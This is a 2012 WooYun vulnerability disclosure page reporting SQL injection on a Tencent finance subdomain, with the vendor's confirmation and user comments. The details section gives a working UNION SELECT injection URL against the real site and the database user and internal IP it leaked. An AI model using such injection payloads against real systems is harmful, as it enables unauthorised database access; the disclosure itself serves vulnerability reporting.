当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012320

漏洞标题：腾讯某分站SQL注射漏洞

相关厂商：腾讯

漏洞作者： Jannock

提交时间：2012-09-17 20:07

修复时间：2012-11-01 20:07

公开时间：2012-11-01 20:07

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-17： 细节已通知厂商并且等待厂商处理中
2012-09-19： 厂商已经确认，细节仅向厂商公开
2012-09-29： 细节向核心白帽子及相关领域专家公开
2012-10-09： 细节向普通白帽子公开
2012-10-19： 细节向实习白帽子公开
2012-11-01： 细节向公众公开

简要描述：

腾讯某分站SQL注射漏洞。

详细说明：

http://stock.finance.qq.com/money/view/show.php?t=bank&c=show_notice_detail&id=87703 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,1,user(),3,4,5%23
moneyDB_r@172.23.30.150
moneyDB。。^-^

漏洞证明：

修复方案：

你懂得！

版权声明：转载请注明来源 Jannock@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2012-09-19 19:06

厂商回复：

添加对漏洞的补充说明以及做出评价的理由

最新状态：

暂无

漏洞评价：

评论

  1. 2012-09-17 20:17 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    起码15分，另外，开始了么

  2. 2012-09-17 20:27 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全（招人中，有兴趣请私信...)

    @xsser 开始什么？

  3. 2012-09-17 21:02 | upload ( 普通白帽子 | Rank:251 漏洞数:43 | 此处略--！)

    腾讯的猪肉是什么样子的

  4. 2012-09-17 21:43 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @Jannock 开始一场浩劫.

  5. 2012-09-18 00:54 | 冰锋刺客 ( 普通白帽子 | Rank:113 漏洞数:14 | 请在监护人陪同下与本人交流)

    会是神马分站呢？ [img src="/upload/image/201209/2012091800533739351.jpg"/]

  6. 2012-09-18 00:56 | 冰锋刺客 ( 普通白帽子 | Rank:113 漏洞数:14 | 请在监护人陪同下与本人交流)

    <img src="/upload/201209/18005531a48970ee5e4b5df9c083061afa094598.jpg" /> just for test.

  7. 2012-09-18 08:39 | jdnehc ( 实习白帽子 | Rank:76 漏洞数:12 )

    额...........

  8. 2012-09-18 09:09 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @only_guest @xsser 一哥不知道呢。。你们私聊聊聊。让他一起参加活动。。没有一哥的wooyun是不精彩的.

  9. 2012-09-18 09:17 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    企鹅也有注入的

  10. 2012-09-18 10:05 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全（招人中，有兴趣请私信...)

    @蟋蟀哥哥 神马？

  11. 2012-09-18 11:41 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @Jannock 蟋蟀说的是一次爆菊行动.

  12. 2012-09-18 11:57 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    坐等公开....

  13. 2012-09-18 12:34 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大（腾讯微博Passer...)

    坐等公仔

  14. 2012-09-19 21:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    厂商回复：添加对漏洞的补充说明以及做出评价的理由

  15. 2012-09-19 22:06 | 我了个去 ( 普通白帽子 | Rank:139 漏洞数:14 | 4892057@qq.com ...)

    @LS 好冷，秋裤

  16. 2012-09-29 19:33 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    花了5个WB.一哥好眼力!

  17. 2012-09-29 20:56 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    乌云币都舍不得花啊……

  18. 2012-10-01 22:40 | Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)

    花了5个WB.一哥好眼力!

  19. 2012-11-01 21:37 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    求楼主帮我把QQ多update几个太阳

  20. 2012-11-02 09:42 | neal ( 普通白帽子 | Rank:219 漏洞数:23 )

    厂家回复很刺眼...